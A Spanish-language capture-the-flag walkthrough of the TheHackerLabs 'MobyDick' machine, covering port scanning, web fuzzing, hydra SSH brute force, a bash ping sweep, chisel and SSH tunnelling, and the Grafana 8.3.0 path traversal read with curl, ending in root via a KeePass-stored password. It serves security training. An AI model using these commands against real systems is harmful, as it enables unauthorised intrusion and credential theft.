MobyDick - TheHackerLabs
Una máquina no tan complicada, pero que necesita bastante trabajo resolverla. Después de ver el escaneo y no ver más que solo la página por defecto de Apache2, aplicamos Fuzzing, que descubre un archivo con un mensaje dirigido a un usuario, indicando que existe un contenedor de Docker que tiene activo Grafana 8.3.0 y un archivo de texto con una contraseña para una base de datos. Aplicamos Fuerza Bruta al usuario encontrado y logramos obtener su contraseña, con lo que entramos al servicio SSH. Dentro, encontramos un nuevo usuario y un archivo que es una base de datos de KeePass. Aplicando Ping Sweep con un script, encontramos la IP que está utilizando el contenedor de Docker. Aplicamos Port Forwarding de varías maneras, para poder ver la página de Grafana. Investigando la versión de Grafana usada, encontramos que tiene la vulnerabilidad Path Traversal, que aprovechamos para ver el archivo que contiene la contraseña de la base de datos de KeePass. Dentro de esa base de datos, encontramos la contraseña del otro usuario del SSH y al convertirnos en este, descubrimos que tiene todos los privilegios, así que podemos convertimos en Root.
Herramientas utilizadas:
- ping
- nmap
- wfuzz
- gobuster
- hydra
- ssh
- ifconfig
- bash
- scp
- chisel
- gunzip
- proxychains
- proxy SOCKS
- ssh
- curl
- cat
- KeePass
- sudo
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Explotación de Vulnerabilidades
- Post Explotación
- Enumeración de la Máquina Víctima
- Aplicando Port Forwarding para Ver Login de Grafana
- Aplicando Port Forwarding Remoto con chisel
- Aplicando Port Forwarding Dinámico con Proxy SOCKS y proxychains
- Aplicando Port Forwarding Local con SSH
- Aplicando Path Traversal a Grafana 8.3.0 y Escalando Privilegios con Contraseña Almacenada en Base de Datos de KeePass
- Links de Investigación
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 192.168.1.160
PING 192.168.1.160 (192.168.1.160) 56(84) bytes of data.
64 bytes from 192.168.1.160: icmp_seq=1 ttl=64 time=1.27 ms
64 bytes from 192.168.1.160: icmp_seq=2 ttl=64 time=0.909 ms
64 bytes from 192.168.1.160: icmp_seq=3 ttl=64 time=0.939 ms
64 bytes from 192.168.1.160: icmp_seq=4 ttl=64 time=0.888 ms
--- 192.168.1.160 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 0.888/1.002/1.273/0.157 ms
Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.160 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-10 18:51 CST
Initiating ARP Ping Scan at 18:51
Scanning 192.168.1.160 [1 port]
Completed ARP Ping Scan at 18:51, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 18:51
Scanning 192.168.1.160 [65535 ports]
Discovered open port 22/tcp on 192.168.1.160
Discovered open port 80/tcp on 192.168.1.160
Completed SYN Stealth Scan at 18:51, 40.55s elapsed (65535 total ports)
Nmap scan report for 192.168.1.160
Host is up, received arp-response (0.057s latency).
Scanned at 2025-03-10 18:51:05 CST for 40s
Not shown: 46274 filtered tcp ports (no-response), 19259 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 40.80 seconds
Raw packets sent: 118201 (5.201MB) | Rcvd: 19264 (770.564KB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Solamente dos puertos abiertos, supongo que la intrusión será por la página web activa.
Escaneo de Servicios
nmap -sCV -p 22,80 192.168.1.160 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-10 18:52 CST
Nmap scan report for 192.168.1.160
Host is up (0.0012s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c7:64:98:df:39:82:71:73:53:42:0c:6a:57:84:c4:a8 (ECDSA)
|_ 256 65:75:5f:51:98:3e:38:d4:46:e8:66:38:18:b2:79:dc (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.05 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Parece que la página web está mostrando la página por defecto de Apache2.
Si la revisamos, no encontraremos nada, por lo que será mejor aplicar Fuzzing para ver que podemos encontrar.
Análisis de Vulnerabilidades
Fuzzing
wfuzz -c --hc=404 -t 400 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,php-txt-html-cgi-sh http://192.168.1.160/FUZZ.FUZ2Z
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.160/FUZZ.FUZ2Z
Total requests: 1102725
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000032621: 200 0 L 13 W 89 Ch "penguin - php"
000000003: 200 363 L 961 W 10671 Ch "index - html"
000226126: 403 9 L 28 W 279 Ch "php"
000226128: 403 9 L 28 W 279 Ch "html"
Total time: 0
Processed Requests: 1102725
Filtered Requests: 1102721
Requests/sec.: 0
Parámetros | Descripción |
---|---|
-c | Para ver el resultado en un formato colorido. |
–hc | Para no mostrar un código de estado en los resultados. |
-t | Para indicar la cantidad de hilos a usar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-z | Para indicar una busqueda de archivos específicos. |
Ahora probemos con gobuster:
gobuster dir -u http://192.168.1.160/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x php,txt,html.sh,cgi
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.160/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html.sh,cgi
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/penguin.php (Status: 200) [Size: 89]
/.php (Status: 403) [Size: 279]
/.html.sh (Status: 403) [Size: 279]
/server-status (Status: 403) [Size: 279]
Progress: 1102725 / 1102730 (100.00%)
===============================================================
Finished
===============================================================
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
-x | Para indicar las extensiones de archivos especificas a buscar. |
Parece que solamente hay un archivo expuesto.
Vamos a verlo:
Tenemos varios puntos ahí.
-
Primero, podría ser que se dirige a un usuario llamado pinguinito.
-
Segundo, nos está diciendo que están utilizando Docker.
-
Tercero, está ocupando Grafana 8.3.0, al que podemos buscar un Exploit, ya que nos está dando la versión que están ocupando.
-
Cuarto, hay un archivo que parece que contiene la contraseña de una base de datos, esto dentro del directorio
/tmp
.
Se me ocurre comprobar si ese usuario existe, aplicándole fuerza bruta junto al servicio SSH.
Explotación de Vulnerabilidades
Aplicando Fuerza Bruta a Usuario pinguinito del Servicio SSH
Para hacerlo, ocuparemos la herramienta hydra y ocuparemos el wordlists nuclear rockyou.txt:
hydra -l 'pinguinito' -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.160:22 -t 48
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-10 19:45:34
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 48 tasks per 1 server, overall 48 tasks, 14344399 login tries (l:1/p:14344399), ~298842 tries per task
[DATA] attacking ssh://192.168.1.160:22/
[22][ssh] host: 192.168.1.160 login: pinguinito password: love
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 18 final worker threads did not complete until end.
[ERROR] 18 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-10 19:46:28
Excelente, tenemos la contraseña.
Probémosla:
ssh pinguinito@192.168.1.160
pinguinito@192.168.1.160's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-100-generic x86_64)
...
...
IPv4 address for docker0: 172.17.0.1
IPv4 address for enp0s3: 192.168.1.160
...
...
Last login: Tue Mar 11 01:48:33 2025
pinguinito@ballenasio:~$ whoami
pinguinito
Listo estamos dentro.
Lo malo, es que no podremos ver la flag del usuario, ya que solamente puede hacerlo el usuario Root.
Tenemos que escalar privilegios.
Post Explotación
Enumeración de la Máquina Víctima
Si vemos el contenido del directorio /home
, encontraremos 2 directorios:
pinguinito@ballenasio:~$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 mar 12 2024 .
drwxr-xr-x 20 root root 4096 mar 12 2024 ..
drwxr-x--- 5 ballenasio ballenasio 4096 mar 12 2024 ballenasio
drwxr-x--- 4 pinguinito pinguinito 4096 abr 16 2024 pinguinito
Ya estamos dentro de pinguinito, pero no podremos entrar al de ballenasio y que de seguro es otro usuario.
Además de encontrar la flag dentro de pinguinito, podemos encontrar un archivo que parece ser una base de datos de contraseñas de KeePass:
pinguinito@ballenasio:~$ ls -la
total 40
drwxr-x--- 4 pinguinito pinguinito 4096 abr 16 2024 .
drwxr-xr-x 4 root root 4096 mar 12 2024 ..
-rw------- 1 pinguinito pinguinito 1262 abr 16 2024 .bash_history
-rw-r--r-- 1 pinguinito pinguinito 220 mar 12 2024 .bash_logout
-rw-r--r-- 1 pinguinito pinguinito 3771 mar 12 2024 .bashrc
drwx------ 2 pinguinito pinguinito 4096 mar 12 2024 .cache
-rw-rw-r-- 1 pinguinito pinguinito 2350 mar 12 2024 Database.kdbx
drwxrwxr-x 3 pinguinito pinguinito 4096 mar 12 2024 .local
-rw-r--r-- 1 pinguinito pinguinito 807 mar 12 2024 .profile
-r-------- 1 root root 33 abr 16 2024 user.txt
Pero no podremos ni crackearlo, ni aplicarle un volcado de memoria, por lo que tenemos que hallar la forma de obtener la contraseña de acceso.
Vamos a descargarlo para más adelante:
scp pinguinito@192.168.1.160:/home/pinguinito/Database.kdbx .
pinguinito@192.168.1.160's password:
Database.kdbx
Continuemos.
Si revisamos la interfaz, podemos ver la interfaz de Docker:
pinguinito@ballenasio:~$ ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 XX prefixlen 64 scopeid 0x20<link>
ether XX txqueuelen 0 (Ethernet)
RX packets 389 bytes 30042 (30.0 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 365 bytes 112744 (112.7 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Normalmente, Docker va a utilizar el siguiente segmento si se crea un contenedor.
Aunque será mejor utilizar un script que aplique un ping sweep para descubrir IPs activas:
Puedes ocupar el siguiente:
#!/bin/bash
is_alive_ping()
{
ping -c 1 $1 > /dev/null
[ $? -eq 0 ] && echo Node with IP: $i is up.
}
for i in 172.17.0.{1..255}
do
is_alive_ping $i & disown
done
Ejecútalo y observa el resultado:
pinguinito@ballenasio:~$ ./ips.sh
Node with IP: 172.17.0.1 is up.
Node with IP: 172.17.0.2 is up.
Ahí está.
Ahora, veamos qué puertos tiene abiertos, utilizando el siguiente one-liner:
pinguinito@ballenasio:~$ for port in {1..65535}; do echo > /dev/tcp/172.17.0.2/$port && echo "Port: $port open"; done 2>/dev/null
Port: 3000 open
Tiene abierto el puerto 3000.
Investigando un poco, encontramos que Grafana ocupa el puerto 3000 para operar:
Podemos utilizar curl para ver la página activa:
pinguinito@ballenasio:~$ curl http://172.17.0.2:3000
<a href="/login">Found</a>.
Parece ser un login.
Podríamos aplicar Port Forwarding para poder ver la página desde nuestro navegador.
Aplicando Port Forwarding para Ver Login de Grafana
Tenemos varías formas que podemos utilizar para aplicar Port Forwarding.
Vamos a ver algunas.
Aplicando Port Forwarding Remoto con chisel
Primero, vamos a descargar la herramienta chisel:
Una vez descargado, lo descomprimimos con gunzip:
gunzip chisel_1.10.1_linux_amd64.gz
.
mv chisel_1.10.1_linux_amd64 chisel
Y lo mandamos a la máquina víctima con scp:
scp chisel pinguinito@192.168.1.160:/home/pinguinito
pinguinito@192.168.1.160's password:
chisel
Ahora, vamos a usar chisel en nuestra máquina para poder alzar un servidor con un puerto random:
./chisel server --reverse -p 1234
2025/03/10 20:28:12 server: Reverse tunnelling enabled
2025/03/10 20:28:12 server: Fingerprint Zn...
2025/03/10 20:28:12 server: Listening on http://0.0.0.0:1234
Dentro del SSH, utilizamos chisel como cliente para conectarnos a nuestro servidor y ahí aplicamos Port Forwarding para mostrar el puerto 3000 en nuestro puerto 3000 de nuestra máquina:
pinguinito@ballenasio:~$ ./chisel client Tu_IP:1234 R:3000:172.17.0.2:3000
2025/03/11 02:29:07 client: Connecting to ws://Tu_IP:1234
2025/03/11 02:29:07 client: Connected (Latency 1.595801ms)
Listo.
Ahora, podemos visitar la página de Grafana en localhost:3000
:
Ahí está.
Aplicando Port Forwarding Dinámico con Proxy SOCKS y proxychains
Para utilizar los proxychains, necesitamos crear un túnel dinámico desde el servicio SSH, usando un proxy SOCKS.
Para hacer esto, debemos indicarle un puerto que será usado para el proxy SOCKS (-D) y podemos indicarle que no abra una shell interactiva (-N):
ssh -D 9050 -N pinguinito@192.168.1.160
pinguinito@192.168.1.160's password:
Configuramos los proxychains, añadiendo el puerto que ocupamos en el paso anterior. En mi caso, tengo configurado proxychains4 que ocupa SOCKS4:
nano /etc/proxychains4.conf
-----------
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 9050
Con esto, ya podremos ejecutar comandos al servicio SSH utilizando proxychains. Por ejemplo, podemos aplicarle un escaneo al puerto 3000 del contenedor:
proxychains -q nmap -sCV -p 3000 -Pn -sT 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-10 21:54 CST
Nmap scan report for 172.17.0.2
Host is up (0.0019s latency).
PORT STATE SERVICE VERSION
3000/tcp open http Grafana http
| http-title: Grafana
|_Requested resource was /login
| http-robots.txt: 1 disallowed entry
|_/
|_http-trane-info: Problem with XML parsing of /evox/about
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.91 seconds
Ahí está el servicio Grafana.
Bien, para poder ver la página, debemos agregar el proxy al (en caso de que lo tengas) FoxyProxy:
Una vez agregado, podemos visitar la página desde nuestro navegador:
Genial, otra forma en que aplicamos Port Forwarding conocido como Port Forwarding Dinámico.
Aplicando Port Forwarding Local con SSH
Esta es una forma bastante sencilla, tan solo hay que indicarle que un puerto que ocuparemos en nuestra máquina, la IP del SSH y luego el puerto que queremos exponer.
Pero, como es un puerto de un contenedor el que queremos exponer, vamos a indicarle la IP del contenedor:
ssh -L 8080:172.17.0.2:3000 pinguinito@192.168.1.160 -N
pinguinito@192.168.1.160's password:
Listo, eso era todo.
Visitemos la página web en el puerto 8080:
Ahí está, con esto terminamos de aplicar Port Forwarding Local.
Aplicando Path Traversal a Grafana 8.3.0 y Escalando Privilegios con Contraseña Almacenada en Base de Datos de KeePass
Si recordamos, tenemos la versión que están ocupando de Grafana siendo la 8.3.0.
Esta versión es vulnerable a Path Traversal, pero ¿qué es un Path Traversal?
Path Traversal |
---|
Un Path Traversal (o Directory Traversal) es una vulnerabilidad que permite a un atacante acceder a archivos y directorios fuera del directorio raíz permitido en un servidor. Esto ocurre cuando una aplicación no valida correctamente las rutas de los archivos que maneja. |
Aquí puedes ver un Exploit creado en Go, pero lo que nos interesa, es la forma en la que aplica el Path Traversal con curl:
Apliquemos el Path Traversal con curl:
curl --path-as-is http://localhost:8080/public/plugins/alertlist/../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
Funciona.
Recordando un poco, al descubrir y ver un archivo de PHP de la página principal, nos indica que hay un archivo de texto dentro del directorio /tmp
que contiene la contraseña de una base de datos.
Supongamos que dicho archivo, está dentro del contenedor.
Veamos si existe:
curl --path-as-is http://localhost:8080/public/plugins/alertlist/../../../../../../../../tmp/database_pass.txt
supermegas...
Tenemos la contraseña.
Vamos a probar si esta contraseña funciona con la base de datos de KeePass que encontramos antes:
Tenemos la contraseña del usuario ballenasio.
Vamos a probarla:
pinguinito@ballenasio:~$ su ballenasio
Password:
ballenasio@ballenasio:/home/pinguinito$ whoami
ballenasio
Genial, y si revisamos los privilegios de este usuario, resulta que tiene todos:
ballenasio@ballenasio:~$ sudo -l
[sudo] password for ballenasio:
Matching Defaults entries for ballenasio on ballenasio:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
.
User ballenasio may run the following commands on ballenasio:
(ALL : ALL) ALL
Entonces, podemos convertirnos en Root:
ballenasio@ballenasio:~$ sudo su
root@ballenasio:/home/ballenasio# whoami
root
Y ya solo buscamos las flags:
root@ballenasio:/home/ballenasio# cd /home/pinguinito/
root@ballenasio:/home/pinguinito# cat user.txt
...
root@ballenasio:/home/pinguinito# cd /root
root@ballenasio:~# cat root.txt
...
Con esto terminamos la máquina.
Links de Investigación
- https://www.liquidweb.com/blog/what-is-grafana/
- https://github.com/taythebot/CVE-2021-43798
- https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
- https://github.com/jpillora/chisel
- https://catonmat.net/tcp-port-scanner-in-bash
- https://linuxconfig.org/bash-scripts-to-scan-and-monitor-network